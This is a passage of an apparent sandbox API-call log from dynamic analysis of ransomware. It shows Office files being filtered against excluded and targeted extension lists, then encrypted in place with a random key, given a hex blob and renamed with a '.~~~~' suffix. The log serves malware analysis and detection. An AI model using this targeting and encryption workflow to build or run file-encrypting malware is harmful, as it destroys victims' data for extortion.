	[0144.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.675] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.675] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.675] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.676] CloseHandle (hObject=0x10c) returned 1
	[0144.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.703] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.~~~~")) returned 1
	[0144.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.752] GetLastError () returned 0x0
	[0144.752] RtlWakeConditionVariable () returned 0x365f70
	[0144.752] GetCurrentThreadId () returned 0x9cc
	[0144.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".scr") returned 0x0
	[0144.752] lstrlenW (lpString=".cmd") returned 4
	[0144.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".cmd") returned 0x0
	[0144.752] lstrlenW (lpString=".dll") returned 4
	[0144.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dll") returned 0x0
	[0144.752] lstrlenW (lpString=".bat") returned 4
	[0144.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".bat") returned 0x0
	[0144.753] lstrlenW (lpString=".cpl") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".cpl") returned 0x0
	[0144.753] lstrlenW (lpString=".sys") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".sys") returned 0x0
	[0144.753] lstrlenW (lpString=".msc") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".msc") returned 0x0
	[0144.753] lstrlenW (lpString=".com") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".com") returned 0x0
	[0144.753] lstrlenW (lpString=".lnk") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".lnk") returned 0x0
	[0144.753] lstrlenW (lpString=".msp") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".msp") returned 0x0
	[0144.753] lstrlenW (lpString=".pif") returned 4
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".pif") returned 0x0
	[0144.753] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.756] lstrlenW (lpString=".sqb") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".sqb") returned 0x0
	[0144.756] lstrlenW (lpString=".ost") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".ost") returned 0x0
	[0144.756] lstrlenW (lpString=".txt") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".txt") returned 0x0
	[0144.756] lstrlenW (lpString=".mdt") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".mdt") returned 0x0
	[0144.756] lstrlenW (lpString=".BDB") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".BDB") returned 0x0
	[0144.756] lstrlenW (lpString=".eql") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".eql") returned 0x0
	[0144.756] lstrlenW (lpString=".DBF") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DBF") returned 0x0
	[0144.756] lstrlenW (lpString=".EQL") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".EQL") returned 0x0
	[0144.756] lstrlenW (lpString=".FDB") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".FDB") returned 0x0
	[0144.756] lstrlenW (lpString=".EDB") returned 4
	[0144.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".EDB") returned 0x0
	[0144.757] lstrlenW (lpString=".DACPAC") returned 7
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DACPAC") returned 0x0
	[0144.757] lstrlenW (lpString=".VHD") returned 4
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".VHD") returned 0x0
	[0144.757] lstrlenW (lpString=".DBV") returned 4
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DBV") returned 0x0
	[0144.757] lstrlenW (lpString=".dacpac") returned 7
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dacpac") returned 0x0
	[0144.757] lstrlenW (lpString=".sdf") returned 4
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".sdf") returned 0x0
	[0144.757] lstrlenW (lpString=".accdb") returned 6
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".accdb") returned 0x0
	[0144.757] lstrlenW (lpString=".DBX") returned 4
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DBX") returned 0x0
	[0144.757] lstrlenW (lpString=".MDT") returned 4
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".MDT") returned 0x0
	[0144.757] lstrlenW (lpString=".SQB") returned 4
	[0144.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".SQB") returned 0x0
	[0144.757] lstrlenW (lpString=".vhd") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".vhd") returned 0x0
	[0144.758] lstrlenW (lpString=".bac") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".bac") returned 0x0
	[0144.758] lstrlenW (lpString=".mdf") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".mdf") returned 0x0
	[0144.758] lstrlenW (lpString=".BAK") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".BAK") returned 0x0
	[0144.758] lstrlenW (lpString=".BAC") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".BAC") returned 0x0
	[0144.758] lstrlenW (lpString=".dbs") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dbs") returned 0x0
	[0144.758] lstrlenW (lpString=".vhdx") returned 5
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".vhdx") returned 0x0
	[0144.758] lstrlenW (lpString=".NDF") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".NDF") returned 0x0
	[0144.758] lstrlenW (lpString=".dat") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dat") returned 0x0
	[0144.758] lstrlenW (lpString=".DBS") returned 4
	[0144.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DBS") returned 0x0
	[0144.758] lstrlenW (lpString=".CKP") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".CKP") returned 0x0
	[0144.759] lstrlenW (lpString=".edb") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".edb") returned 0x0
	[0144.759] lstrlenW (lpString=".PST") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".PST") returned 0x0
	[0144.759] lstrlenW (lpString=".dbf") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dbf") returned 0x0
	[0144.759] lstrlenW (lpString=".SQL") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".SQL") returned 0x0
	[0144.759] lstrlenW (lpString=".pst") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".pst") returned 0x0
	[0144.759] lstrlenW (lpString=".dbv") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dbv") returned 0x0
	[0144.759] lstrlenW (lpString=".SDF") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".SDF") returned 0x0
	[0144.759] lstrlenW (lpString=".dtxs") returned 5
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dtxs") returned 0x0
	[0144.759] lstrlenW (lpString=".db3") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".db3") returned 0x0
	[0144.759] lstrlenW (lpString=".OST") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".OST") returned 0x0
	[0144.759] lstrlenW (lpString=".dbx") returned 4
	[0144.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dbx") returned 0x0
	[0144.760] lstrlenW (lpString=".DB3") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DB3") returned 0x0
	[0144.760] lstrlenW (lpString=".DAT") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DAT") returned 0x0
	[0144.760] lstrlenW (lpString=".VHDX") returned 5
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".VHDX") returned 0x0
	[0144.760] lstrlenW (lpString=".ndf") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".ndf") returned 0x0
	[0144.760] lstrlenW (lpString=".DB") returned 3
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DB") returned 0x0
	[0144.760] lstrlenW (lpString=".sql") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".sql") returned 0x0
	[0144.760] lstrlenW (lpString=".MYD") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".MYD") returned 0x0
	[0144.760] lstrlenW (lpString=".DBT") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DBT") returned 0x0
	[0144.760] lstrlenW (lpString=".ACCDB") returned 6
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".ACCDB") returned 0x0
	[0144.760] lstrlenW (lpString=".fdb") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".fdb") returned 0x0
	[0144.760] lstrlenW (lpString=".bak") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".bak") returned 0x0
	[0144.760] lstrlenW (lpString=".myd") returned 4
	[0144.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".myd") returned 0x0
	[0144.760] lstrlenW (lpString=".DTXS") returned 5
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".DTXS") returned 0x0
	[0144.761] lstrlenW (lpString=".ckp") returned 4
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".ckp") returned 0x0
	[0144.761] lstrlenW (lpString=".dbt") returned 4
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".dbt") returned 0x0
	[0144.761] lstrlenW (lpString=".db") returned 3
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".db") returned 0x0
	[0144.761] lstrlenW (lpString=".TXT") returned 4
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".TXT") returned 0x0
	[0144.761] lstrlenW (lpString=".MDF") returned 4
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".MDF") returned 0x0
	[0144.761] lstrlenW (lpString=".bdb") returned 4
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".bdb") returned 0x0
	[0144.761] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.761] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0144.763] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.763] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.764] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26475398067) returned 1
	[0144.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfb1b2f0, dwHighDateTime=0x1d60e1e)) 
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fcc0
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fcc0 | out: hHeap=0x300000) returned 1
	[0144.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ef08
	[0144.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.765] GetLastError () returned 0x0
	[0144.765] GetLastError () returned 0x0
	[0144.766] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.766] GetLastError () returned 0x0
	[0144.766] GetLastError () returned 0x0
	[0144.766] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xa980, lpOverlapped=0x0) returned 1
	[0144.769] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff5680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.769] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xa980, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xa980, lpOverlapped=0x0) returned 1
	[0144.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.769] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.770] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.770] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.770] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.770] CloseHandle (hObject=0x138) returned 1
	[0144.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eae0
	[0144.770] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.~~~~")) returned 1
	[0144.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37eae0 | out: hHeap=0x300000) returned 1
	[0144.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.773] GetLastError () returned 0x0
	[0144.773] RtlWakeConditionVariable () returned 0x0
	[0144.773] GetCurrentThreadId () returned 0x9cc
	[0144.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".scr") returned 0x0
	[0144.773] lstrlenW (lpString=".cmd") returned 4
	[0144.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".cmd") returned 0x0
	[0144.773] lstrlenW (lpString=".dll") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dll") returned 0x0
	[0144.774] lstrlenW (lpString=".bat") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".bat") returned 0x0
	[0144.774] lstrlenW (lpString=".cpl") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".cpl") returned 0x0
	[0144.774] lstrlenW (lpString=".sys") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".sys") returned 0x0
	[0144.774] lstrlenW (lpString=".msc") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".msc") returned 0x0
	[0144.774] lstrlenW (lpString=".com") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".com") returned 0x0
	[0144.774] lstrlenW (lpString=".lnk") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".lnk") returned 0x0
	[0144.774] lstrlenW (lpString=".msp") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".msp") returned 0x0
	[0144.774] lstrlenW (lpString=".pif") returned 4
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".pif") returned 0x0
	[0144.774] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.951] lstrlenW (lpString=".sqb") returned 4
	[0144.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".sqb") returned 0x0
	[0144.952] lstrlenW (lpString=".ost") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".ost") returned 0x0
	[0144.964] lstrlenW (lpString=".txt") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".txt") returned 0x0
	[0144.964] lstrlenW (lpString=".mdt") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".mdt") returned 0x0
	[0144.964] lstrlenW (lpString=".BDB") returned 4
